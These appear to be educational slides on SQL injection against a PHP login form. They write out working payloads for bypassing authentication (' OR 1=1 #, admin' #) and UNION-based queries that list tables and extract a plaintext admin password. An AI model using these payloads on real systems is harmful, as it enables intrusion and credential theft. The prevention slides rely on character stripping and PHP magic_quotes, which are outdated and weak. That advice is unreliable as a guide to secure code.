

SQL Injection



Exploitation and Prevention

Demo Website Hack Away

http://www.ralfepoisson.com/hacks/sql_inject.php

What is an SQL Injection ?

SQL injection is a technique employed to manipulate a legitimate database query in order to return falsified data.

Example

Standard login form

Username :

Password :

To authenticate against this form, a programmer might do something like :

```
SELECT * FROM `users` WHERE `user` = 'someusername'  
AND `pass` = 'somepassword'
```

But

What would happen if somepassword or
someusername happen to be something other than
a
username and password which we were expecting?
What if, for instance, they happen to be SQL
commands?



The Beginning of the End

What if we enter the following into the form:

Username : **anything**
Password : **' OR 1=1 #**

The resulting SQL would be:

```
SELECT * FROM `users`  
WHERE `user` = 'anything'  
AND `pass` = " OR 1=1 #";
```

Username :
Password :

So what would that do?



With the resulting SQL ...

We are retrieving all the information from the users table where $1=1$, in other words, **EVERYTHING**.

We would effectively become the first user in the table.

That is quite scary.

Admin Access not good

Now, what would happen if the following login details were used?

Username :
Password :

Username : **admin' #**
Password : **_**

The resulting SQL would be:

```
SELECT * FROM `users`  
WHERE `user` = 'admin' #';
```



It Gets Much Much Worse

Retrieving Plaintext Passwords

Step 1 : Find the table with the login details

Username : **admin**

Password : ' **UNION**

```
SELECT CONVERT (table_name USING latin1)  
FROM INFORMATION_SCHEMA.TABLES  
WHERE table_name LIKE 'u%'  
AND NOT table_name = 'USER_PRIVILEGES
```



It Gets Much Much Worse

The resulting SQL is :

```
SELECT * FROM `users`  
WHERE `user` = 'admin' AND `password` = ''  
UNION  
SELECT CONVERT (table_name USING latin1)  
FROM INFORMATION_SCHEMA.TABLES  
WHERE table_name LIKE 'u%' AND NOT table_name =  
'USER_PRIVILEGES'.
```

From the output we can determine the table with the login data.

It Gets Much Much Worse

Step 2 : Get the Password

Username : **admin'**

Password : **' UNION SELECT
CONCAT(`user`, '=', `pass`)
FROM `users`
WHERE `user` = 'admin**



It Gets Much Much Worse

The Resulting SQL is :

```
SELECT * FROM `users`  
WHERE `user` = 'admin' AND `password` = "  
UNION  
SELECT CONCAT (`user`, '=', `pass`)  
FROM `users`  
WHERE `user` = 'admin'.
```

We then will see something like this on the landing page:

" Welcome admin=AdminPassword "



So How Do We Prevent This?

1 : Escape Received Strings

Properly escape the strings we receive from the users. Alternatively, we could strip out characters we know we shouldn't be receiving, such as quotation marks, semi-colons etc...

So How Do We Prevent This?

2 : Password Hash Codes

Store hash codes only for passwords. Thus, the plaintext password is never used or stored or compared within an SQL query. In the script (perhaps the PHP script), you would generate a hash of the password entered by the user, and compare the resulting hash to the hash stored in the database. If the hash codes match, then authentication has occurred, if not, then the passwords do not match, and the user should not have access to further information. This will negate the possibility of the above hack for retrieving passwords.

So How Do We Prevent This?

3 : Database Specific User Priviledges

From the webapp, only access the database with a user with database-specific priviledges. You do not want to be using the root user account to be accessing the database. If you are foolish enough to do this, you are opening yourself up for someone to either wipe out your entire database server, or retrieve every single scrap of data on your SQL server....
NOT GOOD.

So How Do We Prevent This?

#4 : Turn on Magic-Quotes

For system administrators, simply by turning on the `magic_quotes` flag in the `php.ini` file will automatically escape any suspicious quotation or apostrophe marks.

References

Cumming, A. and Russel, G, 2007.

"SQL Hacks: Tips & Tools for Digging into Your Data"

SecuriTeam - SQL Injection Walkthrough

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>



THE END